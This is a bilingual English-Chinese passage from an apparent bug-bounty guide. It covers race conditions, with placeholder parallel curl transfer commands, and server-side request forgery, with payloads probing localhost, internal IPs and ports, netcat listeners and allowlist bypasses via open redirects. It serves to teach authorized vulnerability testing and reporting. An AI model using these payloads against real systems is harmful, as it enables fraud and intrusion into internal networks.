Table 12-4 : Faulty Transfer Results Due to a Race Condition

表12-4：由于竞态条件导致的故障转移结果

| Thread 1 | Thread 2 | Balance of accounts A + B
Stage 1 | Check account A balance ($500) |  | $500
Stage 2 |  | Check account A balance ($500) | $500
Stage 3 | Add $500 to account B |  | $1,000 ($500 in A, $500 in B)
Stage 4 |  | Add $500 to account B | $1,500 ($500 in A, $1,000 in B)
Stage 5 | Deduct $500 from account A |  | $1,000 ($0 in A, $1,000 in B)
Stage 6 |  | Deduct $500 from account A | $1,000 ($0 in A, $1,000 in B)

Note that, in this scenario, you end up with more money than you started with. Instead of having $500 in your accounts, you now own a total of $1,000. You made an additional $500 appear out of thin air by exploiting a race condition vulnerability!

请注意，在这种情况下，您最终会比开始时拥有更多的钱。您现在总共拥有$1,000，而不是账户中的$500。通过利用竞争条件漏洞，您显然从虚无中获得了额外的$500！

Although race conditions are often associated with financial sites, attackers can use them in other situations too, such as to rig online voting systems. Let’s say an online voting system performs three subtasks to process an online vote. First, it checks if the user has already voted. Then, it adds a vote to the vote count of the selected candidate. Finally, it records that that user has voted to prevent them from casting a vote again.

尽管竞争条件通常与金融网站相关联，但攻击者也可以在其他情况下使用它们，比如操纵在线投票系统。假设在线投票系统执行三个子任务来处理在线投票。首先，它检查用户是否已经投票。然后，它将选定候选人的投票添加到投票计数中。最后，它记录该用户已投票，以防止他们再次投票。

Say you try to cast a vote for candidate A twice, simultaneously. Ideally, the application should reject the second vote, following the procedure in Table 12-5 .

如果尝试同时投票两次给候选人A，理想情况下，应用程序应拒绝第二次投票，遵循表12-5的程序。

Table 12-5 : Normal Execution of Two Threads Operating on the Same User’s Votes

表格12-5：两个线程正常操作同一用户的投票。

| Thread 1 | Thread 2 | Votes for candidate A
Stage 1 |  |  | 100
Stage 2 | Check whether the user has already voted (they haven’t) |  | 100
Stage 3 | Increase candidate A’s vote count |  | 101
Stage 4 | Mark the user as Already Voted |  | 101
Stage 5 |  | Check whether the user has already voted (they have) | 101
Stage 6 |  | Reject the user’s vote | 101

But if the voting application has a race condition vulnerability, execution might turn into the scenario shown in Table 12-6 , which gives the users the power to cast potentially unlimited votes.

但如果投票应用程序存在竞争条件漏洞，执行可能会变成表12-6中显示的情况，这将赋予用户投票的潜在无限权利。

Table 12-6 : User Able to Vote Twice by Abusing a Race Condition

表格12-6: 用户利用竞争条件投票两次

| Thread 1 | Thread 2 | Votes for candidate A
Stage 1 |  |  | 100
Stage 2 | Check whether the user has already voted (they haven’t) |  | 100
Stage 3 |  | Check whether the user has already voted (they haven’t) | 100
Stage 4 | Increase candidate A’s vote count |  | 101
Stage 5 |  | Increase candidate A’s vote count | 102
Stage 6 | Mark the user as Already Voted |  | 102
Stage 7 |  | Mark the user as Already Voted | 102

An attacker can follow this procedure to fire two, ten, or even hundreds of requests at once, and then see which vote requests get processed before the user is marked as Already Voted.

攻击者可以按照以下步骤一次性发送两个、十个或甚至数百个请求，然后观察在用户被标记为"已投票"之前哪个请求被处理。

Most race condition vulnerabilities are exploited to manipulate money, gift card credits, votes, social media likes, and so on. But race conditions can also be used to bypass access control or trigger other vulnerabilities. You can read about some real-life race condition vulnerabilities on the HackerOne Hacktivity feed ( https://hackerone.com/hacktivity?querystring=race%20condition/ ).

大多数竞态条件漏洞被用于操纵金钱、礼品卡积分、选票、社交媒体点赞等。但竞态条件也可以用于绕过访问控制或触发其他漏洞。您可以在HackerOne Hacktivity Feed（https://hackerone.com/hacktivity?querystring=race%20condition/）上阅读一些实际的竞态条件漏洞。

Prevention

The key to preventing race conditions is to protect resources during execution by using a method of synchronization , or mechanisms that ensure threads using the same resources don’t execute simultaneously.

避免竞态条件的关键是通过使用同步方法或机制来保护执行期间的资源，确保使用相同资源的线程不会同时执行。

Resource locks are one of these mechanisms. They block other threads from operating on the same resource by locking a resource. In the bank transfer example, thread 1 could lock the balance of accounts A and B before modifying them so that thread 2 would have to wait for it to finish before accessing the resources.

资源锁定是其中的一种机制。通过锁定资源，它们阻止其他线程在同一资源上操作。在银行转账示例中，线程1可以锁定帐户A和B的余额，然后再修改它们，这样线程2就必须等待它完成后才能访问资源。

Most programming languages that have concurrency abilities also have some sort of synchronization functionality built in. You have to be aware of the concurrency issues in your applications and apply synchronization measures accordingly. Beyond synchronization, following secure coding practices, like the principle of least privilege, can prevent race conditions from turning into more severe security issues.

大多数具有并发能力的编程语言也内置了某种形式的同步功能。您必须了解应用程序中的并发问题，并相应地应用同步措施。除同步外，遵循安全编码实践，如最小特权原则，可以防止竞争条件转化为更严重的安全问题。

The principle of least privilege means that applications and processes should be granted only the privileges they need to complete their tasks. For example, when an application requires only read access to a file, it should not be granted any write or execute permissions. You should grant applications precisely the permissions that they need instead. This lowers the risks of complete system compromise during an attack.

“最小权限原则”意味着应该只授予应用程序和进程完成其任务所需的最低权限。例如，当一个应用程序只需要读取文件时，就不应该授予它任何写入或执行的权限。你应该精确地授予应用程序所需的权限，减少攻击时完整系统被攻破的风险。”

Hunting for Race Conditions

Hunting for race conditions is simple. But often it involves an element of luck. By following these steps, you can make sure that you maximize your chances of success.

寻找竞态条件很简单。但通常涉及一定程度的运气。通过遵循以下步骤，您可以确保最大限度地提高成功的机会。

Step 1: Find Features Prone to Race Conditions

Attackers use race conditions to subvert access controls. In theory, any application whose sensitive actions rely on access-control mechanisms could be vulnerable.

攻击者使用竞态条件来破坏访问控制。理论上，任何依赖访问控制机制的敏感操作的应用程序都可能存在漏洞。

Most of the time, race conditions occur in features that deal with numbers, such as online voting, online gaming scores, bank transfers, e-commerce payments, and gift card balances. Look for these features in an application and take note of the request involved in updating these numbers.

大多数时间，竞态条件发生在涉及数字的特性中，比如在线投票、在线游戏得分、银行转账、电子商务支付和礼品卡余额等。在应用程序中寻找这些特性，并注意与更新这些数字有关的请求。

For example, let’s say that, in your proxy, you’ve spotted the request used to transfer money from your banking site. You should copy this request to use for testing. In Burp Suite, you can copy a request by right-clicking it and selecting Copy as curl command .

例如，假设在您的代理中，您已经发现了用于从银行网站转账的请求。您应该复制此请求以供测试使用。在Burp Suite中，您可以通过右键单击请求并选择“复制为curl命令”来复制请求。

Step 2: Send Simultaneous Requests

You can then test for and exploit race conditions in the target by sending multiple requests to the server simultaneously.

可以同时向服务器发送多个请求，从而测试和利用目标中的竞态条件。

For example, if you have $3,000 in your bank account and want to see if you can transfer more money than you have, you can simultaneously send multiple requests for transfer to the server via the curl command. If you’ve copied the command from Burp, you can simply paste the command into your terminal multiple times and insert a & character between each one. In the Linux terminal, the & character is used to execute multiple commands simultaneously in the background:

例如，如果您在银行帐户中有3,000美元，并想查看是否可以转移比您拥有的资金更多的资金，则可以通过curl命令向服务器同时发送多个转移请求。如果您已从Burp复制了命令，则可以将命令简单粘贴到终端中多次，并在每个命令之间插入&字符。在Linux终端中，&字符用于同时在后台执行多个命令。

curl (transfer $3000) & curl (transfer $3000) & curl (transfer $3000)
& curl (transfer $3000) & curl (transfer $3000) & curl (transfer $3000)

Be sure to test for operations that should be allowed once, but not multiple times! For example, if you have a bank account balance of $3,000, testing to transfer $5,000 is pointless, because no single request would be allowed. But testing a transfer of $10 multiple times is also pointless, since you should be able to do that even without a race condition. The key is to test the application’s limits by executing operations that should not be repeatable.

一定要测试那些仅应允许执行一次而非多次的操作。例如，如果你的银行账户余额为3000美元，测试转账5000美元是无意义的，因为没有单个请求能够被允许。但是，多次测试转账10美元也是无意义的，因为即使没有竞争条件，你也应该能够这样做。关键在于通过执行不应该可重复进行的操作来测试应用程序的极限。

Step 3: Check the Results

Check if your attack has succeeded. In our example, if your destination account ends up with more than a $3,000 addition after the simultaneous requests, your attack has succeeded, and you can determine that a race condition exists on the transfer balance endpoint.

检查您的攻击是否成功。在我们的示例中，如果您的目标帐户在同时请求之后增加了超过$3,000，那么您的攻击已成功，您可以确定在传输余额终点存在竞争条件。

Note that whether your attack succeeds depends on the server’s process-scheduling algorithm, which is a matter of luck. However, the more requests you send within a short time frame, the more likely your attack will succeed. Also, many tests for race conditions won’t succeed the first time, so it’s a good idea to try a few more times before giving up.

请注意，您的攻击是否成功取决于服务器的进程调度算法，这是一种运气。然而，在短时间内发送更多请求，攻击成功的可能性就越大。另外，许多竞态条件测试第一次可能不会成功，因此建议在放弃之前尝试几次。

Step 4: Create a Proof of Concept

Once you have found a race condition, you will need to provide proof of the vulnerability in your report. The best way to do this is to lay out the steps needed to exploit the vulnerability. For example, you can lay out the exploitation steps like so:

一旦您发现了竞争条件，您需要在报告中提供漏洞的证明。最好的方法是列出利用漏洞所需的步骤。例如，您可以像这样列出利用步骤：

Create an account with a $3,000 balance and another one with zero balance. The account with $3,000 will be the source account for our transfers, and the one with zero balance will be the destination.

Execute this command:

curl (transfer $3000) & curl (transfer $3000) & curl (transfer $3000)
& curl (transfer $3000) & curl (transfer $3000) & curl (transfer $3000)

This will attempt to transfer $3,000 to another account multiple times simultaneously.

这将尝试同时多次将 $3,000 转移到另一个帐户。

You should see more than $3,000 in the destination account. Reverse the transfer and try the attack a few more times if you don’t see more than $3,000 in the destination account.

Since the success of a race condition attack depends on luck, make sure you include instructions to try again if the first test fails. If the vulnerability exists, the attack should succeed eventually after a few tries.

鉴于竞态条件攻击的成功取决于运气，请确保包括再次尝试的指令，如果第一次测试失败。如果存在漏洞，则经过几次尝试后攻击最终应该会成功。

Escalating Race Conditions

The severity of race conditions depends on the impacted functionality. When determining the impact of a specific race condition, pay attention to how much an attacker can potentially gain in terms of monetary reward or social influence.

竞争条件的严重性取决于受影响的功能。在确定特定竞争条件的影响时，要注意攻击者在货币奖励或社交影响方面可能获得的利益有多大。

For example, if a race condition is found on a critical functionality like cash withdrawal, fund transfer, or credit card payment, the vulnerability could lead to infinite financial gain for the attacker. Prove the impact of a race condition and articulate what attackers will be able to achieve in your report.

例如，如果发现了一个竞争条件（race condition），并且它影响到现金提取、资金转移或信用卡支付这样的关键功能，那么这个漏洞可能会给攻击者带来无限的财务利益。在报告中证明竞争条件的影响，并明确攻击者将能够实现什么。

Finding Your First Race Condition!

Now you’re ready to find your first race condition. Follow these steps to manipulate web applications using this neat technique:

现在你已经准备好了找到你的第一个竞争条件。按照以下步骤使用这种巧妙的技巧操作网页应用程序：

Spot the features prone to race conditions in the target application and copy the corresponding requests.

Send multiple of these critical requests to the server simultaneously. You should craft requests that should be allowed once but not allowed multiple times.

Check the results to see if your attack has succeeded. And try to execute the attack multiple times to maximize the chance of success.

Consider the impact of the race condition you just found.

Draft up your first race condition report!

13
Server-Side Request Forgery

Server-side request forgery ( SSRF) is a vulnerability that lets an attacker send requests on behalf of a server. During an SSRF, attackers forge the request signatures of the vulnerable server, allowing them to assume a privileged position on a network, bypass firewall controls, and gain access to internal services.

服务器端请求伪造（SSRF）是一种漏洞，能让攻击者代表服务器发送请求。在SSRF期间，攻击者伪造易受攻击的服务器的请求签名，使他们能够在网络上扮演特权角色，绕过防火墙控制，并访问内部服务。

In this chapter, we’ll cover how SSRF works, how to bypass common protections for it, and how to escalate the vulnerability when you find one.

在本章中，我们将介绍SSRF的工作原理，如何绕过常见的保护措施，以及在发现漏洞时如何升级漏洞。

Mechanisms

SSRF vulnerabilities occur when an attacker finds a way to send requests as a trusted server in the target’s network. Imagine a public-facing web server on example.com ’s network named public.example.com . This server hosts a proxy service, located at public.example.com/proxy , that fetches the web page specified in the url parameter and displays it back to the user. For example, when the user accesses the following URL, the web application would display the google.com home page:

SSRF漏洞是当攻击者找到一种方式以目标网络中的可信服务器发送请求时发生的。想象一下，example.com网络上有一个公共面向Web的服务器，名为public.example.com。该服务器提供一个代理服务，位于public.example.com/proxy处，可以获取url参数中指定的Web页面并将其显示给用户。例如，当用户访问以下URL时，Web应用程序将显示google.com主页：

https://public.example.com/proxy?url=https://google.com

Now let’s say admin.example.com is an internal server on the network hosting an admin panel. To ensure that only employees can access the panel, administrators set up access controls to keep it from being reached via the internet. Only machines with a valid internal IP, like an employee workstation, can access the panel.

现在假设admin.example.com是网络上托管管理面板的内部服务器。为确保只有员工可以访问该面板，管理员设置了访问控制，以防止从互联网访问该面板。只有具有有效内部IP地址（如员工工作站）的计算机才能访问该面板。

Now, what if a regular user accesses the following URL?

现在，如果普通用户访问以下网址会怎样？

https://public.example.com/proxy?url=https://admin.example.com

Here, the url parameter is set to the URL of the internal admin panel. With no SSRF protection mechanism in place, the web application would display the admin panel to the user, because the request to the admin panel is coming from the web server, public.example.com , a trusted machine on the network.

在这里，URL参数设置为内部管理面板的URL。如果没有SSRF保护机制，Web应用程序将向用户显示管理面板，因为对管理面板的请求来自于网络中被信任的机器public.example.com的Web服务器。

Through SSRF, servers accept unauthorized requests that firewall controls would normally block, like fetching the admin panel from a non-company machine. Often, the protection that exists on the network perimeter, between public-facing web servers and internet machines, does not exist between machines on the trusted network. Therefore, the protection that hides the admin panel from the internet doesn’t apply to requests sent between the web server and the admin panel server.

通过SSRF，服务器接受未经授权的请求，这些请求通常会被防火墙控制所拦截，例如从非公司机器获取管理员面板。通常，位于公共面向的Web服务器和互联网机器之间的网络边缘上存在的保护并不存在于信任网络中的机器之间。因此，将管理员面板从互联网上隐藏的保护措施不适用于Web服务器之间和管理员面板服务器之间发送的请求。

By forging requests from trusted servers, an attacker can pivot into an organization’s internal network and conduct all kinds of malicious activities. Depending on the permissions given to the vulnerable internet-facing server, an attacker might be able to read sensitive files, make internal API calls, and access internal services.

通过伪造来自受信任服务器的请求，攻击者可以在组织的内部网络中转并进行各种恶意活动。根据易受攻击的面向互联网的服务器获得的权限，攻击者可能能够读取敏感文件、进行内部API调用以及访问内部服务。

SSRF vulnerabilities have two types: regular SSRF and blind SSRF. The mechanisms behind both are the same: each exploits the trust between machines on the same network. The only difference is that in a blind SSRF, the attacker does not receive feedback from the server via an HTTP response or an error message. For instance, in the earlier example, we’d know the SSRF worked if we see admin.example.com displayed. But in a blind SSRF, the forged request executes without any confirmation sent to the attacker.

SSRF漏洞有两种类型：正常的SSRF和盲目SSRF。两者背后的机制相同：都是利用同一网络上机器之间的信任。唯一的区别在于盲目SSRF，攻击者无法通过HTTP响应或错误消息从服务器获得反馈。例如，在之前的例子中，如果我们看到了admin.example.com的显示，那么我们就知道SSRF已经生效了。但是，在盲目的SSRF中，伪造的请求会执行，而没有任何确认发送给攻击者。

Let’s say that on public.example.com another functionality allows users to send requests via its web server. But this endpoint does not return the resulting page to the user. If attackers can send requests to the internal network, the endpoint suffers from a blind SSRF vulnerability:

假设在public.example.com上，另一个功能允许用户通过其Web服务器发送请求。但是，该端点不会将结果页面返回给用户。如果攻击者能够向内部网络发送请求，则该端点会遭受盲SSRF漏洞的影响。

https://public.example.com/send_request?url=https://admin.example.com/delete_user?user=1

Although blind SSRFs are harder to exploit, they’re still extremely valuable to an attacker, who might be able to perform network scanning and exploit other vulnerabilities on the network. We’ll get more into this later.

虽然无法看到的 SSRFs 更难被利用，但对攻击者来说仍然极其有价值，因为攻击者可能能够在网络上执行网络扫描并利用其他漏洞。我们稍后会深入探讨这个问题。

Prevention

SSRFs happen when servers need to send requests to obtain external resources. For example, when you post a link on Twitter, Twitter fetches an image from that external site to create a thumbnail. If the server doesn’t stop users from accessing internal resources using the same mechanisms, SSRF vulnerabilities occur.

当服务器需要发送请求以获取外部资源时，就会发生SSRF。例如，当您在Twitter上发布链接时，Twitter将从外部站点获取图像以创建缩略图。如果服务器未通过相同的机制阻止用户访问内部资源，就会发生SSRF漏洞。

Let’s look at another example. Say a page on public.example.com allows users to upload a profile photo by retrieving it from a URL via this POST request:

让我们看另一个例子。假设公共示例网站上的一个页面允许用户通过通过此POST请求从URL检索上传个人资料照片。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://www.attacker.com/profile.jpeg

To fetch profile.jpeg from attacker.com , the web application would have to visit and retrieve contents from attacker.com. This is the safe and intended behavior of the application. But if the server does not make a distinction between internal and external resources, an attacker could just as easily request a local file stored on the server, or any other file on the network. For instance, they could make the following POST request, which would cause the web server to fetch the sensitive file and display it as the user’s profile picture:

从攻击者.com获取profile.jpeg，Web应用程序必须访问并检索攻击者.com的内容。这是应用程序的安全和预期行为。但是，如果服务器不区分内部和外部资源，则攻击者可以轻松请求存储在服务器上的本地文件或网络上的任何其他文件。例如，他们可以发起以下POST请求，这将导致Web服务器获取敏感文件并将其显示为用户的个人资料图片。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://localhost/passwords.txt

Two main types of protection against SSRFs exist: blocklists and allowlists. Blocklists are lists of banned addresses. The server will block a request if it contains a blocklisted address as input. Because applications often need to fetch resources from a variety of internet sources, too many to explicitly allow, most applications use this method. Companies blocklist internal network addresses and reject any request that redirects to those addresses.

防止SSRF的两种主要保护类型：封锁列表和白名单。封锁列表是被禁止的地址列表。如果请求包含封锁列表中的地址作为输入，服务器将阻止该请求。由于应用程序通常需要从各种互联网源获取资源，这些源太多了以至于无法明确允许它们，因此大多数应用程序使用此方法。公司会封锁内部网络地址并拒绝任何重定向到这些地址的请求。

On the other hand, when a site implements allowlist protection, the server allows only requests that contain URLs found in a predetermined list and rejects all other requests. Some servers also protect against SSRFs by requiring special headers or secret tokens in internal requests.

另一方面，当一个站点实施白名单保护时，服务器仅允许包含预定列表中的URL的请求，并拒绝所有其他请求。一些服务器还通过要求内部请求中包含特殊标头或秘密令牌来防止SSRF。

Hunting for SSRFs

The best way to discover SSRF vulnerabilities is through a review of the application’s source code, in which you check if the application validates all user-provided URLs. But when you can’t obtain the source code, you should focus your efforts on testing the features most prone to SSRF.

发现SSRF漏洞的最佳方法是通过审查应用程序的源代码，您可以检查应用程序是否验证了所有用户提供的URL。但如果您无法获取源代码，则应将重点放在最容易受到SSRF攻击的功能测试上。

Step 1: Spot Features Prone to SSRFs

SSRFs occur in features that require visiting and fetching external resources. These include webhooks, file uploads, document and image processors, link expansions or thumbnails, and proxy services. It’s also worth testing any endpoint that processes a user-provided URL. And pay attention to potential SSRF entry points that are less obvious, like URLs embedded in files that are processed by the application (XML files and PDF files can often be used to trigger SSRFs), hidden API endpoints that accept URLs as input, and input that gets inserted into HTML tags.

SSRF通常发生在需要访问和获取外部资源的功能中，包括网络挂接、文件上传、文档和图片处理器、链接扩展或缩略图以及代理服务。还应该测试任何处理用户提供的URL的端点。并且要注意潜在的SSRF入口点，如嵌入在应用程序中处理的文件中的URL（XML文件和PDF文件通常可用于触发SSRF），接受URL作为输入的隐藏API端点以及插入到HTML标记中的输入。

Webhooks are custom HTTP callback endpoints used as a notification system for certain application events. When an event such as new user sign-up or application error occurs, the originating site will make an HTTP request to the webhook URL. These HTTP requests help the company collect information about the website’s performance and visitors. It also helps organizations keep data in sync across multiple web applications.

Webhooks是自定义的HTTP回调端点，用作特定应用程序事件的通知系统。当发生诸如新用户注册或应用错误之类的事件时，来源网站将向Webhook URL发出HTTP请求。这些HTTP请求有助于公司收集有关网站性能和访问者的信息。它还帮助组织在多个Web应用程序之间保持数据同步。

And in the event that one action from an application needs to trigger an action on another application, webhooks are a way of notifying the system to kick-start another process. For example, if a company wants to send a welcome email to every user who follows its social media account, it can use a webhook to connect the two applications.

当一个应用程序的某个操作需要触发另一个应用程序的操作时，Webhooks 可以通知系统启动另一个进程。例如，如果一个公司想要向每个关注其社交媒体账户的用户发送欢迎邮件，它可以使用 Webhook 来连接这两个应用程序。

Many websites allow users to set up their webhook URLs, and these settings pages are often vulnerable to SSRF. Most of the time, an application’s webhook service is in its developers’ portal. For example, Slack allows application owners to set up a webhook via its app configuration page ( https://api.slack.com/apps/ ). Under the Event Subscriptions heading, you can specify a URL at which Slack will notify you when special events happen ( Figure 13-1 ). The Request URL field of these webhook services is often vulnerable to SSRF.

许多网站允许用户设置其Webhook URL，并且这些设置页面经常容易受到SSRF的攻击。大多数情况下，应用程序的Webhook服务在其开发者门户中。例如，Slack允许应用程序所有者通过其应用配置页面设置Webhook（https://api.slack.com/apps/）。在事件订阅标题下，您可以指定一个URL，Slack将在特殊事件发生时通知您（图13-1）。这些Webhook服务的请求URL字段经常容易受到SSRF的攻击。

On the other hand, proxy services refer to services that act as an intermediary between two machines. They sit between the client and the server of a request to facilitate or control their communication. Common use cases of proxy services are to bypass organization firewalls that block certain websites, browse the internet anonymously, or encrypt internet messages.

另一方面，代理服务指的是充当两台机器之间中介的服务。他们坐在请求的客户端和服务器之间，以促进或控制它们的通信。代理服务的常见用例是绕过组织防火墙，阻止特定网站的访问，匿名浏览互联网或加密互联网消息。

Figure 13-1 : Adding a webhook to Slack

图13-1：将Webhook添加到Slack。

Notice these potentially vulnerable features on the target site and record them for future reference in a list like this:

请注意目标站点上可能存在的易受攻击的特点，并将它们记录在类似于此的列表中，以备将来参考：

Potential SSRF Endpoints

潜在的 SSRF 终端点

Add a new webhook:

POST /webhook
Host: public.example.com

(POST request body)
url=https://www.attacker.com

File upload via URL:

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://www.attacker.com/profile.jpeg

Proxy service:

https://public.example.com/proxy?url=https://google.com

Step 2: Provide Potentially Vulnerable Endpoints with Internal URLs

Once you’ve identified the potentially vulnerable endpoints, provide internal addresses as the URL inputs to these endpoints. Depending on the network configuration, you might need to try several addresses before you find the ones in use by the network. Here are some common ones reserved for the private network: localhost , 127.0.0.1, 0.0.0.0, 192.168.0.1, and 10.0.0.1.

一旦您确定可能存在漏洞的终端点，将内部地址作为URL输入提供给这些终端点。根据网络配置，您可能需要尝试多个地址，才能找到网络正在使用的地址。以下是一些为私有网络保留的常见地址：localhost, 127.0.0.1, 0.0.0.0, 192.168.0.1和10.0.0.1。

You can find more reserved IP addresses used to identify machines on the private network at https://en.wikipedia.org/wiki/Reserved_IP_addresses .

您可以在https://zh.wikipedia.org/wiki/保留IP地址找到更多用于识别私有网络上的机器的保留IP地址。

To illustrate, this request tests the webhook functionality:

例如，此请求测试Webhook功能：

POST /webhook
Host: public.example.com

(POST request body)
url=https://192.168.0.1

This request tests the file upload functionality:

这个请求测试文件上传功能。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://192.168.0.1

And this request tests the proxy service:

这个请求测试代理服务：

https://public.example.com/proxy?url=https://192.168.0.1

Step 3: Check the Results

In the case of regular SSRF, see if the server returns a response that reveals any information about the internal service. For example, does the response contain service banners or the content of internal pages? A service banner is the name and version of the software running on the machine. Check for this by sending a request like this:

在正常 SSRF 的情况下，请查看服务器是否返回了显示内部服务信息的响应。例如，响应是否包含服务横幅或内部页面的内容？服务横幅是运行在计算机上的软件名称和版本。通过发送像这样的请求检查它：

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=127.0.0.1:22

Port 22 is the default port for the Secure Shell Protocol (SSH). This request tells the application that the URL of our profile picture is located at 127.0.0.1:22, or port 22 of the current machine. This way, we can trick the server into visiting its own port 22 and returning information about itself.

22端口是安全外壳协议（SSH）的默认端口。该请求告诉应用程序，我们的个人资料图片的URL位于127.0.0.1:22或当前机器的22端口。这样，我们就可以欺骗服务器访问其自己的22端口，并返回有关自己的信息。

Then look for text like this in the response:

然后在响应中寻找类似这样的文本：

Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

If you find a message like this, you can be sure that an SSRF vulnerability exists on this endpoint, since you were able to gather information about the localhost.

如果您发现类似此消息，那么可以肯定该终端存在 SSRF 漏洞，因为您已能够收集有关本地主机的信息。

The easiest way of detecting blind SSRFs is through out-of-band techniques: you make the target send requests to an external server that you control, and then monitor your server logs for requests from the target. One way to do this is to use an online hosting service, such as GoDaddy or Hostinger, that provides server access logs. You can link your hosted site to a custom domain and submit that domain in the SSRF testing payload.

检测盲SSRF的最简单方法是使用带外技术：您让目标发送请求到您控制的外部服务器，然后监视您服务器日志中的目标请求。一种方法是使用在线托管服务，如GoDaddy或Hostinger，提供服务器访问日志。您可以将托管网站链接到自定义域，并将该域提交给SSRF测试有效载荷。

You can also turn your own machine into a listener by using Netcat, a utility installed by default on most Linux machines. If you don’t already have Netcat, you can install it by using the command apt-get install netcat . Then use nc -lp 8080 to start a listener on port 8080. After this, you can point your SSRF payloads to your IP address on port 8080 and monitor for any incoming traffic. Another easier way of doing this is to use the Collaborator feature in Burp Suite Pro, which automatically generates unique domain names, sends them as payloads to the target, and monitors for any interaction associated with the target.

您也可以使用默认安装在大多数Linux机器上的实用程序Netcat将自己的机器变成侦听器。如果您尚未安装Netcat，则可以使用命令apt-get install netcat进行安装。然后使用nc -lp 8080在端口8080上启动侦听器。之后，您可以将SSRF有效负载指向您的IP地址在端口8080，并监视任何传入的流量。另一种更简单的方法是使用Burp Suite Pro中的Collaborator功能，它会自动生成唯一的域名，将它们作为有效负载发送到目标，并监视与目标相关的任何交互。

However, being able to generate an outbound request from the target server alone is not an exploitable issue. Since you cannot use blind SSRFs to read internal files or access internal services, you need to confirm their exploitability by trying to explore the internal network with the SSRF. Make requests to various target ports and see if server behavior differs between commonly open and closed ports. For example, ports 22, 80, and 443 are commonly open ports, while port 11 is not. This will help you determine if an attacker can use the SSRF to access the internal network. You can look especially for differences in response time and HTTP response codes.

然而，仅从目标服务器生成一个出站请求并不是一个可利用的问题。由于您无法使用盲目的SSRF读取内部文件或访问内部服务，您需要通过尝试使用SSRF来探索内部网络来确认其可利用性。向各种目标端口发出请求，看看服务器行为在通常开放和关闭的端口之间是否有所不同。例如，端口22、80和443是常见的开放端口，而端口11则不是。这将帮助确定攻击者是否可以使用SSRF访问内部网络。您可以特别寻找响应时间和HTTP响应代码的差异。

For example, servers use the HTTP status code 200 to indicate that a request has succeeded. Often, if a server is able to connect to the specified port, it will return a 200 status code. Say the following request results in an HTTP status code of 200:

例如，服务器使用HTTP状态码200来表示请求已成功。通常情况下，如果服务器能够连接到指定的端口，它将返回200状态码。假设以下请求的HTTP状态代码为200：

POST /webhook
Host: public.example.com

(POST request body)
url=https://127.0.0.1:80

The following request instead results in an HTTP status code of 500, the status code for Internal Server Error. Servers return 500 status codes when they run into an error while processing the request, so a 500 status code often indicates a closed or protected port:

以下请求导致HTTP状态代码为500，这是“内部服务器错误”的状态代码。当服务器在处理请求时遇到错误时，会返回500状态代码，因此500状态代码通常表示端口关闭或受保护。

POST /webhook
Host: public.example.com

(POST request body)
url=https://127.0.0.1:11

You can confirm that the server is indeed making requests to these ports and responding differently based on port status.

你可以确认服务器确实在这些端口上进行请求，并根据端口状态有不同的响应。

Also look for the time difference between responses. You can see in Figure 13-2 that the Burp repeater shows how long it took for the server to respond in the bottom right corner. Here, it took 181 milliseconds for Google to return its home page. You can use tools like SSRFmap ( https://github.com/swisskyrepo/SSRFmap/ ) to automate this process.

还要查找响应之间的时间差异。如图13-2所示，Burp Repeater在右下角显示服务器响应所需的时间。在这里，Google返回首页需要181毫秒。您可以使用SSRFmap（https://github.com/swisskyrepo/SSRFmap/）等工具来自动化此过程。

Figure 13-2 : Burp repeater shows you how long it took for the server to respond to a request.

图13-2：Burp重复器显示了服务器响应请求所需的时间。

If a port is closed, the server usually responds faster because it drops the forwarded traffic immediately, whereas internal firewalls often cause a delay in the response. Attackers can use time delays as a metric to figure out a target’s internal network structure. If you can identify a significant time difference between requests to different ports, you have found an exploitable SSRF.

如果一个端口关闭了，服务器通常会更快地响应，因为它会立即丢弃转发的流量，而内部防火墙经常会导致响应延迟。攻击者可以使用时间延迟作为计量标准来确定目标内部网络结构。如果您可以在对不同端口的请求之间识别出重要的时间差异，则已经找到了可利用的SSRF。

Bypassing SSRF Protection

What if you submit an SSRF payload, but the server returns this response?

如果你提交了一个 SSRF 攻击负载，但服务器返回了这个响应，会怎样？

Error. Requests to this address are not allowed. Please try again.

This SSRF was blocked by a protection mechanism, possibly a URL allowlist or blocklist. But all is not lost! The site may have protection mechanisms implemented, but this doesn’t mean that the protection is complete. Here are a few more things you can try to bypass a site’s protection.

该 SSRF 被一个保护机制阻止了，可能是一个 URL 允许或禁止列表。但还没有结束！该网站可能已经实施了保护机制，但这并不意味着保护是完全的。下面是一些您可以尝试绕过网站保护的方法。

Bypass Allowlists

Allowlists are generally the hardest to bypass, because they are, by default, stricter than blocklists. But getting around them is still possible if you can find an open redirect vulnerability within the allowlisted domains. (Visit Chapter 7 for more information about these vulnerabilities.) If you find one, you can request an allowlisted URL that redirects to an internal URL. For example, even if the site allows only profile pictures uploaded from one of its subdomains, you can induce an SSRF through an open redirect.

允许清单通常是最难避开的，因为它们默认比阻止清单更严格。但是，如果能在允许列出的域中找到打开重定向漏洞，仍然可能会绕过它们。（有关这些漏洞的更多信息，请访问第7章。）如果您找到一个漏洞，您可以请求允许列出的URL，该URL重定向到内部URL。例如，即使该站点仅允许从其子域上传个人资料图片，您仍可通过打开重定向实现服务器端请求伪造（SSRF）。

In the following request, we utilize an open redirect on pics.example.com to redirect the request to 127.0.0.1, the IP address for the localhost. This way, even though the url parameter passes the allowlist, it still redirects to a restricted internal address:

在以下请求中，我们利用pics.example.com上的开放式重定向，将请求重定向到本地主机的IP地址127.0.0.1。这样，即使URL参数通过允许列表，它仍将重定向到受限制的内部地址。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://pics.example.com/123?redirect=127.0.0.1

The server could also have implemented its allowlist via poorly designed regular expressions (regexes). Regexes are often used to construct more flexible allowlists. For example, instead of checking whether a URL string is equal to "example.com" , a site can check regex expressions like .*example.com.* to match the subdomains and filepaths of example.com as well. In those cases, you could bypass the regex by placing the allowlisted domain in the request URL. For example, this request will redirect to 127.0.0.1, since pics.example.com is seen as the username portion of the URL:

